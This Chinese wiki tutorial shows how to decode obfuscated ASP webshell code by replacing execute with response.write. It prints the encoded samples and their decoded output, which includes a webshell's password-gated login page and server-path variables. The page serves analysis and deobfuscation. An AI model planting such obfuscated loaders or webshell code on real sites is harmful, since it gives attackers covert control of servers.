习科小黑板 - Silic Wiki

样本：

hu="琳FI dnE琳DNe.ESnOPsER琳FI DnE琳IS sRr neHt 0><)cIS,IS(rtsNi fI琳"">retnec/<>vid/<""&SreS&"">rb<>rh<>elbat/<>rt/<>dt/<02608002:etaDpsbn&psbn&psbn&psbn&psbn&psbn&psbn&气空 :YB>retnec=ngila vid<>dt<>rt<>""""01""""=gniddapllec """"1""""=redrob """"054""""=htdiw elbat<>/p<moc.tskrad.www  :  组小术技组暗>rh<>'nigoL'=eulav 'timbus'=epyt tupni< >'22'=ezis 'drowssap'=epyt 'ssap'=eman tupni<>tnof/<>'tsop'=dohtem '""&lrU&""'=noitca mrof<>rh<>a/<""&emaNllehS&"">'knalb_'=tegrat '""&lRuETIS&""'=ferh a<>rb<>';xp001:nigram;xp22:gniddap;222# dilos xp1:redrob;xp005:htdiw'=elyts vid<>retnec<""=is琳eSlE琳fI dnE琳"">p/<>b/<>tnof/<>b/<moc.yiDoA.www>b<>p/<气空 :yb>'emil'=roloc '6'=ezis tnof<>retnec=ngila vid<>b<>rb<>rb<>rb<>rb< >b/<>tnof/<!!!骑乱要不就儿马的己自是不,样小>'der'=roloc '7'=ezis tnof<>retnec=ngila vid<>b<>p/<;psbn&>p<>p/<;psbn&>p<>p/<;psbn&>p<>p/<;psbn&>p<>p/<;psbn&>p<""SRR琳esLE琳lrU tcEridEr.EsnOPSEr琳ssAPRESu=)""nimd2a2bew""(NoISsES琳nehT SSAPRESu=)""ssap""(MRof.TseuqER Fi琳NehT """"><)""ssap""(MRoF.tSeuqer FI琳nEht sSapREsU><)""nimd2a2bew""(NoIssES FI琳"
execute(UnEncode(hu))
function UnEncode(cc)
for i = 1 to len(cc)
    if mid(cc,i,1)<> "琳" then
temp = Mid(cc, i, 1) + temp
   else
    temp=vbcrlf&temp
 end if
next
UnEncode=temp
end function

手工解密方法其实再简单不过了，把上面的那一些源代码，改为：

<%
hu="琳FI dnE琳DNe.ESnOPsER琳FI DnE琳IS sRr neHt 0><)cIS,IS(rtsNi fI琳"">retnec/<>vid/<""&SreS&"">rb<>rh<>elbat/<>rt/<>dt/<02608002:etaDpsbn&psbn&psbn&psbn&psbn&psbn&psbn&气空 :YB>retnec=ngila vid<>dt<>rt<>""""01""""=gniddapllec """"1""""=redrob """"054""""=htdiw elbat<>/p<moc.tskrad.www  :  组小术技组暗>rh<>'nigoL'=eulav 'timbus'=epyt tupni< >'22'=ezis 'drowssap'=epyt 'ssap'=eman tupni<>tnof/<>'tsop'=dohtem '""&lrU&""'=noitca mrof<>rh<>a/<""&emaNllehS&"">'knalb_'=tegrat '""&lRuETIS&""'=ferh a<>rb<>';xp001:nigram;xp22:gniddap;222# dilos xp1:redrob;xp005:htdiw'=elyts vid<>retnec<""=is琳eSlE琳fI dnE琳"">p/<>b/<>tnof/<>b/<moc.yiDoA.www>b<>p/<气空 :yb>'emil'=roloc '6'=ezis tnof<>retnec=ngila vid<>b<>rb<>rb<>rb<>rb< >b/<>tnof/<!!!骑乱要不就儿马的己自是不,样小>'der'=roloc '7'=ezis tnof<>retnec=ngila vid<>b<>p/<;psbn&>p<>p/<;psbn&>p<>p/<;psbn&>p<>p/<;psbn&>p<>p/<;psbn&>p<""SRR琳esLE琳lrU tcEridEr.EsnOPSEr琳ssAPRESu=)""nimd2a2bew""(NoISsES琳nehT SSAPRESu=)""ssap""(MRof.TseuqER Fi琳NehT """"><)""ssap""(MRoF.tSeuqer FI琳nEht sSapREsU><)""nimd2a2bew""(NoIssES FI琳"
response.write(UnEncode(hu))
function UnEncode(cc)
for i = 1 to len(cc)
    if mid(cc,i,1)<> "琳" then
temp = Mid(cc, i, 1) + temp
   else
    temp=vbcrlf&temp
 end if
next
UnEncode=temp
end function
%>

注意看这里：

response.write(UnEncode(hu))
function UnEncode(cc)

将execute换成response.write就可以了。上传到某个asp空间，访问一下就出来想要的了

IF SEssIoN("web2a2dmin")<>UsERpaSs thEn
IF requeSt.FoRM("pass")<>"" TheN
iF REquesT.foRM("pass")=uSERPASS Then
SEsSIoN("web2a2dmin")=uSERPAss
rESPOnsE.rEdirEct Url
ELse
RRS"<p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><b><div align=center><font size='7' color='red'>小样,不是自己的马儿就不要乱骑!!!</font></b> <br><br><br><br><b><div align=center><font size='6' color='lime'>by: 空气</p><b>www.AoDiy.com</b></font></b></p>"
End If
ElSe
si="<center><div style='width:500px;border:1px solid #222;padding:22px;margin:100px;'><br><a href='"&SITEuRl&"' target='_blank'>"&ShellName&"</a><hr><form action='"&Url&"' method='post'></font><input name='pass' type='password' size='22'> <input type='submit' value='Login'><hr>暗组技术小组  :  网址和谐<p/><table width=""450"" border=""1"" cellpadding=""10""><tr><td><div align=center>BY: 空气&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbspDate:20080620</td></tr></table><hr><br>"&SerS&"</div></center>"
If iNstr(SI,SIc)<>0 tHen rRs SI
EnD IF
REsPOnSE.eND
End IF

同样的方法解密十三加密

<%
ShiSan="╁>retnec/<>a/<回返>')(kcab.yrotsih:tpircsavaj'=ferh a<>retnec<>rb<>rb<╁=lRukCAB╋)╁emaNF╁(TseUQer=EMANf╋)╁htaPredloF╁(tSeuqER=htAprEdLOF╋sSApResu=PrevreS╋lRU&)╁tsoh_ptth╁(selbaIRavreVRES.TSeuQeR=UrevreS╋)╁/╁(HTAppAM.REVrES=tOORWWW╋)╁.╁(HTapPAm.RevReS=HTApTooR╋)╁noitcA╁(tSEUQeR=NoITcA╋)╁RDDA_LACOL╁(sElBAIrAVReVrEs.tSEuqer=pirevreS╋)╁LRU╁(selbaiRAvrEVrEs.tSeuQER=lrU"
response.write(ShiSanFun(ShiSan))
dim ShiSan,ShiSanNewstr,ShiSanI
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
 If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
 Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
 End If
Next
ShiSanFun = ShiSanNewStr
End Function
%>

得到：

Url=REQueSt.sErVErvARiables("URL")
Serverip=requESt.sErVeRVArIABlEs("LOCAL_ADDR")
AcTIoN=ReQUESt("Action")
RooTpATH=SeRveR.mAPpaTH(".")
WWWROOt=SErVER.MAppATH("/")
ServerU=ReQueST.SERVervaRIables("http_host")&URl
ServerP=useRpASs
FOLdErpAth=REqueSt("FolderPath")
fNAME=reQUesT("FName")
BACkuRl="<br><br><center><a href='javascript:history.back()'>返回</a></center>"